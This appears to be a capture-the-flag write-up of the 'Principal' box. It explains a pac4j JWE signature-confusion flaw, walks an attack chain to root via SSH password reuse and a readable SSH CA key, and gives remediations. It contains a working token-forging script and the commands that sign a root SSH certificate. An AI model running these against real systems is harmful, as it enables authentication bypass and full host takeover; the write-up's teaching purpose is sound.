Principal is a Linux box that puts a single, tidy web application in front of you and asks a precise question about how it validates trust. The app is a Java service built on the pac4j security framework, and its session token is a JWE — an encrypted JWT. That encryption is real, and it is a trap: it makes the token opaque and feels like security, but the server only checks that the token was encrypted to its public key. It never checks that the JWT inside was actually signed. CVE-2026-29000 is exactly that confusion. Because the encryption key is public — it is literally published at a JWKS endpoint so clients can verify tokens — anyone can build an unsigned alg:none JWT claiming ROLE_ADMIN, encrypt it themselves, and hand it back as a valid admin session. From the admin dashboard an API endpoint leaks an SSH password in plaintext; from that user, membership in a deployers group makes the platform's SSH certificate-authority private key readable — and a CA private key that sshd trusts is a machine that will vouch for any identity you ask it to, including root.
unauthenticated→pac4j JWE sig-confusion (CVE-2026-29000)→forged ROLE_ADMIN token→admin API leaks SSH password→svc-deploy SSH→read trusted SSH CA key→sign a root cert→root
Reconnaissance
Two ports: SSH on 22 and a web application on 8080. The web server is Jetty, and it advertises the exact thing worth knowing straight out of a response header — the auth framework and its version:
pac4j-jwt 6.0.3 is a specific, current, and vulnerable version. The login page loads a single script, /static/js/app.js, and that file is unusually generous — it documents the entire token design in a header comment, presumably because the same schema constants have to match the server:
app.js — the token design, handed to us
* Token handling:
* - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM
* - Public key available at /api/auth/jwks for token verification
* - Inner JWT is signed with RS256
*
* JWT claims schema:
* sub - username
* role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER
* iss - "principal-platform"
* iat - issued at (epoch)
* exp - expiration (epoch)// the token is stored in sessionStorage and sent as a Bearer header;// /api/users and /api/settings are gated to ROLE_ADMIN client-side
So the token is a two-layer object: an inner JWT (claims + an RS256 signature) wrapped inside a JWE envelope (RSA-OAEP-256 key wrapping, A128GCM content encryption). The public key needed for both "verifying" the token and — crucially — encrypting a new one is served, unauthenticated, at /api/auth/jwks:
Foothold — encryption is not authentication (CVE-2026-29000)
Here is the flaw, stated plainly. A JWE proves one thing: whoever built the token had the recipient's public key. That is not a secret — it is published. Encrypting a JWT gives you confidentiality (nobody can read the claims in transit), but it says nothing about who issued the claims. Authenticity is the job of the inner JWT's signature, which must be verified against the issuer's key.
CVE-2026-29000 is that pac4j's JWE authenticator, in this configuration, decrypts the outer envelope and then trusts the claims of the inner JWT without verifying its signature. That collapses the whole design: since the encryption key is public, an attacker can mint their own token end to end. Build an inner JWT with "alg":"none" and an empty signature, set role to ROLE_ADMIN, then encrypt it to the server's own JWKS key. The server decrypts it, sees a well-formed JWT it can read, and never asks whether it was signed.
Concretely, in pac4j's own terms: JwtAuthenticator supports nested tokens — an inner, RS256-signed JWT wrapped inside an outer JWE — and takes an EncryptionConfiguration and a SignatureConfiguration as independent options. Principal wired up encryption but never enforced signing, so once the outer JWE decrypts, an inner PlainJWT (an unsigned token) is accepted as validated. The kid in the JWKS is even named enc-key-1 — the server publishes its encryption key where a verifier would normally publish a signature key, which is the whole tell in one string.
The server validates the outer encryption and stops there. The inner signature — the only thing that proves who issued the claims — is never checked, so an attacker who owns the public key owns the token.
forge.py — unsigned inner JWT, wrapped in a JWE to the public key
$ cat forge.pyimport json, time, base64, urllib.request
from jwcrypto import jwk, jwe
T = "http://<target>:8080"
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
# 1. pull the public encryption key straight from JWKS
jwks = json.load(urllib.request.urlopen(T + "/api/auth/jwks"))
key = jwk.JWK(**jwks["keys"][0])
# 2. build an UNSIGNED inner JWT (alg:none, empty signature)
now = int(time.time())
hdr = {"alg": "none", "typ": "JWT"}
pl = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "principal-platform",
"iat": now, "exp": now + 3600}
inner = b64u(json.dumps(hdr).encode()) + "." + b64u(json.dumps(pl).encode()) + "."
# 3. wrap it in a JWE to the server's own key — RSA-OAEP-256 + A128GCM
prot = {"alg": "RSA-OAEP-256", "enc": "A128GCM", "kid": "enc-key-1"}
tok = jwe.JWE(inner.encode(), recipient=key, protected=json.dumps(prot))
print(tok.serialize(compact=True))
Why alg:none works here: the server never runs the signature check, so it does not matter what the inner header claims. none is simply the least effort — no key, no signing step — and it sails through because the verification that would reject it was skipped entirely. The public key does all the heavy lifting on the encryption side, which is the only side the server actually validates.
Present the forged token as a bearer credential and the admin API opens up. /api/dashboard confirms the identity the server derived from our token — admin / ROLE_ADMIN — and /api/settings is where the box hands over the next step:
The leak: an admin-only settings endpoint returns a live secret in cleartext, labelled encryptionKey. The value reads like a deployment passphrase — and the same /api/settings response advertises that the infrastructure uses SSH certificate authentication with a CA under /opt/principal/ssh/, and /api/users lists a svc-deploy service account "for automated deployments via SSH certificate auth." Two halves of the same hint.
User — a leaked password, reused for SSH
The leaked secret is not tied to the crypto at all; it is reused as an SSH password. Sprayed across the usernames the /api/users listing already gave us, it lands on the deployment service account:
Note the second group: deployers. That is not decoration — it is the whole privilege-escalation path.
Root — a CA private key you're allowed to read
The settings endpoint pointed at /opt/principal/ssh/, and its own README explains what lives there: an RSA certificate authority that sshd trusts for certificate-based logins. The directory is owned root:deployers and group-readable — and svc-deploy is in deployers:
That one sshd directive is the game. TrustedUserCAKeys tells the daemon to accept any user certificate signed by that CA — the certificate is the authorization. So a CA private key you can read is not "a key on the box"; it is the authority to issue yourself a valid identity for any account, including root. There is no exploit to write. You just use the CA the way it was built to be used, but for a principal it was never meant to sign.
sign a root certificate, log in as root
$ # pull the CA private key down (readable as svc-deploy), then sign our own key for root$ ssh-keygen -t ed25519 -N '' -f rootkey$ ssh-keygen -s ca -I pwn-root -n root -V +2h rootkey.pubSigned user key rootkey-cert.pub: id "pwn-root" serial 0 for root valid ...$ ssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> 'id; cat /root/root.txt'uid=0(root) gid=0(root) groups=0(root)
[redacted — root flag]
The -n root detail: this sshd sets no AuthorizedPrincipalsFile, so the default rule applies — the certificate's principal list must contain the login username. Sign with -n root so the cert is valid for the root account; omit it and the login is refused even though the CA signature itself is perfectly valid. It is the difference between a correctly-signed cert and a cert that is correctly-signed for the account you are using.
The whole chain, one screen
recap
# 1. header names the target: X-Powered-By: pac4j-jwt/6.0.3 ; JWKS key is publiccurl -s http://<target>:8080/api/auth/jwks# 2. CVE-2026-29000: JWE decrypted but inner signature never verified# forge alg:none JWT{role:ROLE_ADMIN}, encrypt to the public key, send as Bearerpython3 forge.py # -> RSA-OAEP-256 + A128GCM JWE# 3. admin /api/settings leaks a plaintext secret -> reused as an SSH passwordsshpass -p '<leaked>' ssh svc-deploy@<target> # user.txt ; group: deployers# 4. deployers can read the TrustedUserCAKeys CA private keyssh-keygen -s ca -I x -n root -V +2h rootkey.pubssh -i rootkey -o CertificateFile=rootkey-cert.pub root@<target> # root.txt
The fix
Each link in the chain has a concrete, one-line remediation — and they're independent, so defence in depth means fixing all of them, not just the CVE:
Enforce the inner signature. Configure pac4j's JwtAuthenticator with a required SignatureConfiguration and reject any inner PlainJWT / alg:none. Decryption must never stand in for signature verification — they answer different questions (confidentiality vs. authenticity). Upgrading past the CVE-2026-29000 fix in pac4j-jwt closes the accept-unsigned path.
Validate the claims, not just the wrapper. Check iss, exp, and an expected audience server-side, so a forged token can't simply assert ROLE_ADMIN forever.
Never return a secret from an API./api/settings should not include encryptionKey — or any credential — in its response body, for any role. The moment a value crosses to a client, treat it as disclosed.
Lock the CA key to root. A TrustedUserCAKeys signing key is root-equivalent; it must be 0400 root:root, never 0440 root:deployers. Group-readability handed the whole machine to anyone in deployers.
Lessons
Encryption is confidentiality, not authenticity. A JWE proves the sender had a public key — which is public by definition. It says nothing about who issued the claims. Authenticity lives in the inner signature, and it has to be verified as its own step. Skip that step and an "encrypted" token is a token anyone can write. That is the whole of CVE-2026-29000.
A published key is an attacker's key too. The JWKS endpoint exists so clients can verify tokens, but the same public key is exactly what you need to encrypt a forged one. Publishing a key is fine; relying on possession of a public key as if it were proof of identity is not.
Secrets do not belong in an API response, even an admin-only one. Here "admin-only" was one forged claim away — but even a perfectly-authenticated admin should never be handed a live credential in cleartext. The moment a value is returned to a client, treat it as disclosed.
An SSH CA private key is a root-equivalent secret. With TrustedUserCAKeys, the certificate is the authorization; whoever can read the CA key can mint any identity sshd will accept, root included. It must be at least as protected as root's own credentials — a group-readable CA key hands the group the machine.